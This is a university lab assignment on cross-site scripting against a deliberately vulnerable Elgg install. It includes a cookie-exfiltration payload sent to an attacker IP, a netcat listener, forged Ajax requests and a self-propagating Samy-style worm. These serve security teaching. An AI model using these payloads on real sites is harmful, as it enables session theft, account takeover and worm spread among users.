Indian Institute of Technology Jammu
Information Security (CSC050P1M)
Assignment 8
Cross-Site Scripting (XSS) Vulnerability
Deadline: 11:59 PM, April 09, 2023

1 Overview

Cross-site scripting (XSS) is a vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have created a web application named Elgg. Elgg is a very popular open-source web appli cation for the social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Users can post any arbitrary message, including JavaScript programs, without countermeasures, to the user profiles. In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg, in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that who ever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list. This lab covers the following topics:

Cross-Site Scripting attack

XSS worm and self-propagation

Session cookies

HTTP GET and POST requests

JavaScript and Ajax

2 Lab Environment

You will need a web application and a database. We have provided VM image, please create a VM from the given image and continue:

SEED VM Image Link

The Summarized configurations for the web application is as followed:

The Elgg Web Application: We use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. It is already set up in the pre-built Ubuntu VM image. We have also created several user accounts on the Elgg server and the credentials are given below.

User	Username	Password
Admin Alice Boby Charlie Samy	admin alice boby charlie samy	seedelgg seedalice seedboby seedcharlie seedsamy

DNS Configuration: We have configured the following URL needed for this lab. The folder where the web application is installed and the URL to access this web ap plication are described in the following:

URL: http://www.xsslabelgg.com
Folder: /var/www/XSS/Elgg/

The above URL is only accessible from inside the virtual machine because we have modified the /etc/hosts file to map the domain name of each URL to the virtual ma chine's local IP address (127.0.0.1). You may map any domain name to a particular IP address using /etc/hosts. For example, you can map http://www.example.com to the local IP address by appending the following entry to /etc/hosts:

127.0.0.1 www.example.com

If your web server and browser are running on two different machines, you need to modify /etc/hosts on the browser's machine accordingly to map these domain names to the web server's IP address, not to 127.0.0.1.

Apache Configuration: In our pre-built VM image, we used an Apache server to host all the websites used in the lab. The name-based virtual hosting feature in Apache

could be used to host several websites (or URLs) on the same machine. A configura tion file named 000-default.conf in the directory ”/etc/apache2/sites-available” con tains the necessary directives for the configuration:

Inside the configuration file, each website has a VirtualHost block that specifies the URL for the website and a directory in the file system that contains the sources for the website. The following examples show how to configure a website with the URL http://www.example1.com and another website with the URL http://www.example2.com:

```
<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directo ries. For example, with the above configuration, the web application http://www.example1.com can be changed by modifying the sources in the /var/www/Example 1/ directory. Af ter a change is made to the configuration, the Apache server needs to be restarted. See the following command:

```
$ sudo service apache2 start
```

3 Problems

1. Posting a Malicious Message to Display an Alert Window

   The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

<script>alert(’XSS’);</script>

If you embed the above JavaScript code in your profile (e.g. in the brief descrip tion field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the short de scription field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript pro gram in a standalone file, save it with the .js extension, and then refer to it using the src attribute in the scripttag. See the following example:

```
<script type="text/javascript"
src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from http://www.example.com, which can be any web server

2. Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the user’s cookies will be dis played in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert(document.cookie);</script>
```

3. Stealing Cookies from the Victim’s Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user’s cookies, but only the user can see the cookies, not the at tacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an imgtag with its src attribute set to the attacker’s machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker’s machine. The JavaScript given below sends the cookies to port 5555 of the attacker’s machine (with IP

address 10.1.2.5), where the attacker has a TCP server listening to the same port.

```
<script>document.write('<img src=http://10.1.2.5:5555?c='
      + escape(document.cookie) + ' >');
</script>
```


A commonly used program by attackers is netcat (or nc) , which, if running with the ”-l” option, becomes a TCP server that listens for a connection on the speci fied port. This server program basically prints out whatever is sent by the client
and sends to the client whatever is typed by the user running the server. Type the command below to listen on port 5555:

```
$ nc -l 5555 -v
```

The ”-l” option is used to specify that nc should listen for an incoming connec tion rather than initiate a connection to a remote host. The ”-v” option is used to have nc give more verbose output.

The task can also be done with only one VM instead of two. For one VM, you should replace the attacker’s IP address in the above script with 127.0.0.1. Start a new terminal and then type the nc command above.

4. Becoming the Victim’s Friend

In this and next task, we will perform an attack similar to what Samy did to MyS pace in 2005 (i.e. the Samy Worm). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy’s page. This worm does not self propagate; in task 6, we will make it self-propagating.

In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim’s browser, without the intervention of the at tacker. The objective of the attack is to add Samy as a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is samy).

To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox’s HTTP inspection tool can help us get the in formation. It can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the

request. Section 4 provides guidelines on how to use the tool.

Once we understand what the add-friend HTTP request look like, we can write a Javascript program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task.

```
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
      var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; x Page 5


var token="&__elgg_token="+elgg.security.token.__elgg_token; y
//Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
```

The above code should be placed in the ”About Me” field of Samy’s profile page. This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on ”Edit HTML”, which can be found at the top right of the ”About Me” text field.

Explain the purpose of Lines x and y, and why are they needed?

If the Elgg application only provides the Editor mode for the ”About Me” field, i.e., you cannot switch to the Text mode, can you still launch a success ful attack?

5. Modifying the Victim’s Profile

The objective of this task is to modify the victim’s profile when the victim visits Samy’s page. We will write an XSS worm to complete the task. This worm does not self-propagate; in the next problem, we will make it self-propagating.

Similar to the previous task, we need to write a malicious JavaScript program

that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. To modify profile, we should first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, we need to figure out how the HTTP POST request is constructed to modify a user's profile. We will use Firefox's HTTP inspection tool. Once we understand how the modify-profile HTTP POST request looks like, we can write a JavaScript program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in com pleting the task.


```
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and
Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content=...; //FILL IN
var samyGuid=...; //FILL IN
if(elgg.session.user.guid!=samyGuid) x
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
```

Similar to the last question, the above code should be placed in the ”About Me” field of Samy's profile page, and the Text mode should be enabled before entering the above JavaScript code.

Why do we need Line x? Remove this line, and repeat your attack. Report

and explain your observation.

6. Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to prop agate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, fur ther affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is ex actly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one

of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement such a worm, which not only modifies the victim's profile and adds the user "Samy" as a friend, but also add a copy of the worm itself to the victim's profile, so the victim is turned into an attacker.

To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile. There are several approaches to achieve this, and we will discuss two common approaches.

Link Approach: If the worm is included using the src attribute in the script tag, writing self-propagating worms is much easier. We have discussed the src attribute in Task 1, and an example is given below. The worm can simply copy the following ¡script¿ tag to the victim's profile, essentially infecting the profile with the same worm.

```
<script type="text/javascript" src="http://example.com/xss_worm.js"> </script>
```

DOM Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays it in an alert window:

```
<script id=worm>
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; a var jsCode
= document.getElementById("worm").innerHTML; b var tailTag = "</" +
"script>"; c
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); d
```

```
alert(jsCode);
</script>
```

It should be noted that innerHTML (line b) only gives us the inside part of the code, not including the surrounding script tags. We just need to add the begin ning tag script id=”worm”(line a) and the ending tag /script(line c) to form an identical copy of the malicious code.

When data are sent in HTTP POST requests with the Content-Type set to *application/x wwwform-urlencoded*, which is the type used in our code, the data should also

be encoded. The encoding scheme is called URL encoding, which replaces non alphanumeric characters in the data with %HH, a percentage sign and two hex adecimal digits representing the ASCII code of the character. The encodeURICom ponent() function in line d is used to URL-encode a string.

Note: In this lab, you can try both Link and DOM approaches, but the DOM ap proach is required, because it is more challenging and it does not rely on external JavaScript code.

4 Submission

You need to submit a detailed lab report, having the following:

with screenshots and typescript outputs to describe what you have done and what you have observed. Give your own assessment individually, of what you have learned from this assignment.

You also have to submit all the codes you have written with the necessary comments to describe your code.

Submit a single zip folder containing the report and properly commented code. The size of the zip file should not exceed 25MB. The name of the zip file should be Institute IdAssg6.zip.

Best wishes